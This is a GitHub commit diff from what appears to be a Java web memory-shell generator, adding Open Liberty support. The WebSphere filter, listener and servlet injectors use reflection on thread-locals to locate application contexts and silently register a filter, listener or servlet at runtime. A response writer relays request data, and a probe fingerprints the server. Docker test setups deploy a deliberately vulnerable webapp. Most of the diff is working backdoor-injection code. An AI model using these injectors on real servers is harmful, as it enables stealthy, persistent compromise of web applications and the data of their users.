Skip to content

Commit a809764

Browse files
committed
feat: support open-liberty javaee
1 parent 6388e79 commit a809764

23 files changed

+4932
-54
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java

Lines changed: 55 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,5 @@
11
package com.reajason.javaweb.memshell.injector.websphere;
22

3-
import javax.servlet.Filter;
43
import java.io.ByteArrayInputStream;
54
import java.io.ByteArrayOutputStream;
65
import java.io.IOException;
@@ -14,9 +13,6 @@
1413

1514

1615
/**
17-
* tested v7、v8
18-
* update 2023/07/08
19-
*
2016
* @author ReaJason
2117
*/
2218
public class WebSphereFilterInjector {
@@ -46,7 +42,7 @@ public WebSphereFilterInjector() {
4642
} catch (Throwable throwable) {
4743
msg += "context error: " + getErrorMessage(throwable);
4844
}
49-
if (contexts == null) {
45+
if (contexts == null || contexts.isEmpty()) {
5046
msg += "context not found";
5147
} else {
5248
for (Object context : contexts) {
@@ -87,20 +83,40 @@ private String getContextRoot(Object context) {
8783
*/
8884
public Set<Object> getContext() throws Exception {
8985
Set<Object> contexts = new HashSet<Object>();
90-
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
91-
for (Object wsThreadLocal : wsThreadLocals) {
86+
Object[] threadLocals = null;
87+
boolean raw = false;
88+
try {
89+
// WebSphere Liberty
90+
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
91+
} catch (NoSuchFieldException e) {
92+
// Open Liberty
93+
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
94+
raw = true;
95+
}
96+
for (Object threadLocal : threadLocals) {
97+
if (threadLocal == null) {
98+
continue;
99+
}
100+
Object value = threadLocal;
101+
if (raw) {
102+
value = getFieldValue(threadLocal, "value");
103+
}
104+
if (value == null) {
105+
continue;
106+
}
92107
// for websphere 7.x
93-
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
94-
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
108+
if (value.getClass().getName().endsWith("FastStack")) {
109+
Object[] stackList = (Object[]) getFieldValue(value, "stack");
95110
for (Object stack : stackList) {
96111
try {
97112
Object config = getFieldValue(stack, "config");
98113
contexts.add(getFieldValue(getFieldValue(config, "context"), "context"));
99114
} catch (Exception ignored) {
100115
}
101116
}
102-
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
103-
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
117+
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
118+
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
119+
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
104120
}
105121
}
106122
return contexts;
@@ -137,45 +153,54 @@ public void inject(Object context, Object filter) throws Exception {
137153
return;
138154
}
139155

140-
ClassLoader classLoader = context.getClass().getClassLoader();
141-
Class<?> filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
142-
Class<?> iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
143-
Class<?> iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
156+
Class<?> filterMappingClass = loadClass(context.getClass(), "com.ibm.ws.webcontainer.filter.FilterMapping");
157+
Class<?> iFilterConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.filter.IFilterConfig");
158+
Class<?> iServletConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.servlet.IServletConfig");
144159

145160
Object filterManager = getFieldValue(context, "filterManager");
161+
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()});
162+
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()});
146163
try {
147-
// v8
164+
// v8+
165+
invokeMethod(getFieldValue(context, "config"), "addFilterInfo", new Class[]{iFilterConfigClass}, new Object[]{filterConfig});
166+
148167
Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
149-
// com.ibm.ws.webcontainer.webapp.WebApp.commonAddFilter
150-
setFieldValue(context, "initialized", false);
151-
Object filterConfig = invokeMethod(context, "commonAddFilter", new Class[]{String.class, String.class, Filter.class, Class.class}, new Object[]{getClassName(), getClassName(), filter, filter.getClass()});
152168
Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
153-
setFieldValue(context, "initialized", true);
154-
155-
// com.ibm.ws.webcontainer.filter.WebAppFilterManager.addFilterMapping
156169
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
157-
158-
// com.ibm.ws.webcontainer.filter.WebAppFilterManager#_loadFilter
159170
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
160-
161171
} catch (Exception e) {
162172
// v7
163-
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()});
164-
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()});
165-
setFieldValue(filterConfig, "dispatchMode", new int[]{0});
166-
setFieldValue(filterConfig, "name", getClassName());
167173
invokeMethod(context, "addMappingFilter", new Class[]{String.class, iFilterConfigClass}, new Object[]{getUrlPattern(), filterConfig});
168174
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
169175
}
176+
170177
// 清除缓存
171-
invokeMethod(getFieldValue(filterManager, "chainCache"), "clear", null, null);
178+
Object chainCache = getFieldValue(filterManager, "chainCache");
179+
try {
180+
invokeMethod(chainCache, "clear", null, null);
181+
} catch (Exception e) {
182+
invokeMethod(getFieldValue(chainCache, "chainCacheMap"), "clear", null, null);
183+
}
172184
}
173185

174186
@Override
175187
public String toString() {
176188
return msg;
177189
}
178190

191+
// bypass osgi
192+
public static Class<?> loadClass(Class<?> context, String className) throws ClassNotFoundException {
193+
if (context.equals(Object.class)) {
194+
throw new ClassNotFoundException(className);
195+
}
196+
ClassLoader loader = context.getClassLoader();
197+
try {
198+
return loader.loadClass(className);
199+
} catch (ClassNotFoundException e) {
200+
return loadClass(context.getSuperclass(), className);
201+
}
202+
}
203+
179204
@SuppressWarnings("all")
180205
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
181206
Exception {

generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java

Lines changed: 27 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,7 @@ public WebSphereListenerInjector() {
3838
} catch (Throwable throwable) {
3939
msg += "context error: " + getErrorMessage(throwable);
4040
}
41-
if (contexts == null) {
41+
if (contexts == null || contexts.isEmpty()) {
4242
msg += "context not found";
4343
} else {
4444
for (Object context : contexts) {
@@ -75,20 +75,40 @@ private String getContextRoot(Object context) {
7575

7676
public Set<Object> getContext() throws Exception {
7777
Set<Object> contexts = new HashSet<Object>();
78-
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
79-
for (Object wsThreadLocal : wsThreadLocals) {
78+
Object[] threadLocals = null;
79+
boolean raw = false;
80+
try {
81+
// WebSphere Liberty
82+
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
83+
} catch (NoSuchFieldException e) {
84+
// Open Liberty
85+
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
86+
raw = true;
87+
}
88+
for (Object threadLocal : threadLocals) {
89+
if (threadLocal == null) {
90+
continue;
91+
}
92+
Object value = threadLocal;
93+
if (raw) {
94+
value = getFieldValue(threadLocal, "value");
95+
}
96+
if (value == null) {
97+
continue;
98+
}
8099
// for websphere 7.x
81-
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
82-
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
100+
if (value.getClass().getName().endsWith("FastStack")) {
101+
Object[] stackList = (Object[]) getFieldValue(value, "stack");
83102
for (Object stack : stackList) {
84103
try {
85104
Object config = getFieldValue(stack, "config");
86105
contexts.add(getFieldValue(getFieldValue(config, "context"), "context"));
87106
} catch (Exception ignored) {
88107
}
89108
}
90-
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
91-
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
109+
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
110+
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
111+
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
92112
}
93113
}
94114
return contexts;

generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java

Lines changed: 30 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,9 @@
66
import java.io.PrintStream;
77
import java.lang.reflect.Field;
88
import java.lang.reflect.Method;
9-
import java.util.*;
9+
import java.util.HashSet;
10+
import java.util.Properties;
11+
import java.util.Set;
1012
import java.util.zip.GZIPInputStream;
1113

1214
/**
@@ -39,7 +41,7 @@ public WebSphereServletInjector() {
3941
} catch (Throwable throwable) {
4042
msg += "context error: " + getErrorMessage(throwable);
4143
}
42-
if (contexts == null) {
44+
if (contexts == null || contexts.isEmpty()) {
4345
msg += "context not found";
4446
} else {
4547
for (Object context : contexts) {
@@ -76,20 +78,40 @@ private String getContextRoot(Object context) {
7678

7779
public Set<Object> getContext() throws Exception {
7880
Set<Object> contexts = new HashSet<Object>();
79-
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
80-
for (Object wsThreadLocal : wsThreadLocals) {
81+
Object[] threadLocals = null;
82+
boolean raw = false;
83+
try {
84+
// WebSphere Liberty
85+
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
86+
} catch (NoSuchFieldException e) {
87+
// Open Liberty
88+
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
89+
raw = true;
90+
}
91+
for (Object threadLocal : threadLocals) {
92+
if (threadLocal == null) {
93+
continue;
94+
}
95+
Object value = threadLocal;
96+
if (raw) {
97+
value = getFieldValue(threadLocal, "value");
98+
}
99+
if (value == null) {
100+
continue;
101+
}
81102
// for websphere 7.x
82-
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
83-
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
103+
if (value.getClass().getName().endsWith("FastStack")) {
104+
Object[] stackList = (Object[]) getFieldValue(value, "stack");
84105
for (Object stack : stackList) {
85106
try {
86107
Object config = getFieldValue(stack, "config");
87108
contexts.add(getFieldValue(getFieldValue(config, "context"), "context"));
88109
} catch (Exception ignored) {
89110
}
90111
}
91-
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
92-
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
112+
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
113+
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
114+
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
93115
}
94116
}
95117
return contexts;

generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -50,7 +50,8 @@ public static String exit(@Advice.Return(readOnly = false) String ret) {
5050
if (System.getProperty("weblogic.home") != null) {
5151
return ret = "WebLogic";
5252
}
53-
if (System.getProperty("was.install.root") != null) {
53+
if (System.getProperty("was.install.root") != null
54+
|| System.getProperty("wlp.install.dir") != null) {
5455
return ret = "WebSphere";
5556
}
5657
if (System.getProperty("resin.home") != null) {

generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebSphereWriter.java

Lines changed: 22 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -22,17 +22,33 @@ public WebSphereWriter() {
2222
return;
2323
}
2424
try {
25-
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
26-
for (Object wsThreadLocal : wsThreadLocals) {
27-
if (wsThreadLocal == null) {
25+
Object[] threadLocals = null;
26+
boolean raw = false;
27+
try {
28+
// Open Liberty
29+
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
30+
raw = true;
31+
} catch (NoSuchFieldException e) {
32+
// WebSphere Liberty
33+
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
34+
}
35+
for (Object threadLocal : threadLocals) {
36+
if (threadLocal == null) {
37+
continue;
38+
}
39+
Object value = threadLocal;
40+
if (raw) {
41+
value = getFieldValue(threadLocal, "value");
42+
}
43+
if (value == null) {
2844
continue;
2945
}
3046
// com.ibm.wsspi.webcontainer.WebContainerRequestState
31-
if (wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {
47+
if (value.getClass().getName().endsWith("WebContainerRequestState")) {
3248
// com.ibm.ws.webcontainer.srt.SRTServletRequest
33-
Object request = getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest");
49+
Object request = getFieldValue(value, "currentThreadsIExtendedRequest");
3450
// com.ibm.ws.webcontainer.srt.SRTServletResponse
35-
Object response = getFieldValue(wsThreadLocal, "currentThreadsIExtendedResponse");
51+
Object response = getFieldValue(value, "currentThreadsIExtendedResponse");
3652
String data = getDataFromReq(request);
3753
if (data != null && !data.isEmpty()) {
3854
String result = "";
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
services:
2+
open-liberty-18:
3+
image: open-liberty:18.0.0.4-webProfile8
4+
platform: linux/amd64
5+
ports:
6+
- "9080:9080"
7+
- "5005:5005"
8+
environment:
9+
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
10+
volumes:
11+
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/config/dropins/app.war
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
services:
2+
open-liberty-20:
3+
image: open-liberty:20.0.0.12-full-java8-openj9
4+
platform: linux/amd64
5+
ports:
6+
- "9080:9080"
7+
- "5005:5005"
8+
environment:
9+
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
10+
volumes:
11+
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/config/dropins/app.war
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
services:
2+
open-liberty-22:
3+
image: open-liberty:22.0.0.12-full-java11-openj9
4+
platform: linux/amd64
5+
ports:
6+
- "9080:9080"
7+
- "5005:5005"
8+
environment:
9+
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
10+
volumes:
11+
- ../../../vul/vul-webapp/build/libs/vul-webapp-jakarta.war:/config/dropins/app.war
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
services:
2+
open-liberty-25:
3+
image: open-liberty:25.0.0.12-full-java17-openj9
4+
platform: linux/amd64
5+
ports:
6+
- "9080:9080"
7+
- "5005:5005"
8+
environment:
9+
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
10+
volumes:
11+
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/config/dropins/app.war
Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,2 @@
11
#!/bin/bash
2-
pgrep -f WSLauncher | tr -d '\n'
2+
pgrep -f 'WSLauncher|ws-server.jar' | tr -d '\n'

0 commit comments

Comments
 (0)